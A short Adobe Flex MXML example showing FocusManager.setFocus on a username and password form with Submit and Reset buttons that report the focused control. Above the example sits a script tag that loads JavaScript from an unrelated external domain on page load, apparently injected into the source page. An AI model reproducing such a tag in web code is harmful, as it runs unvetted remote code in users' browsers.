<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
main.mxml
- <?xml version="1.0" encoding="utf-8"?>
- <mx:Application name="FocusManager_setFocus_test"
- xmlns:mx="http://www.adobe.com/2006/mxml"
- layout="vertical"
- verticalAlign="middle"
- backgroundColor="white">
-
- <mx:Script>
- <![CDATA[
- import mx.controls.Alert;
-
- private function submitButton_click(evt:MouseEvent):void {
- Alert.show(evt.currentTarget.label,
- Object(focusManager.getFocus()).name);
- }
-
- private function resetButton_click(evt:MouseEvent):void {
- username.text = "";
- password.text = "";
- Alert.show(evt.currentTarget.label,
- Object(focusManager.getFocus()).name);
- }
- ]]>
- </mx:Script>
-
- <mx:ApplicationControlBar dock="true">
- <mx:Button label="Set focus to Username"
- click="focusManager.setFocus(username);" />
- <mx:Button label="Set focus to Password"
- click="focusManager.setFocus(password);" />
- </mx:ApplicationControlBar>
-
- <mx:Form id="form"
- defaultButton="{submitButton}">
- <mx:FormItem label="Username:">
- <mx:TextInput id="username" />
- </mx:FormItem>
- <mx:FormItem label="Password:">
- <mx:TextInput id="password"
- displayAsPassword="true" />
- </mx:FormItem>
- <mx:FormItem direction="horizontal"
- horizontalAlign="right"
- width="100%">
- <mx:Button id="submitButton"
- label="Submit"
- click="submitButton_click(event);" />
- <mx:Button id="resetButton"
- label="Reset"
- click="resetButton_click(event);" />
- </mx:FormItem>
- </mx:Form>
-
- </mx:Application>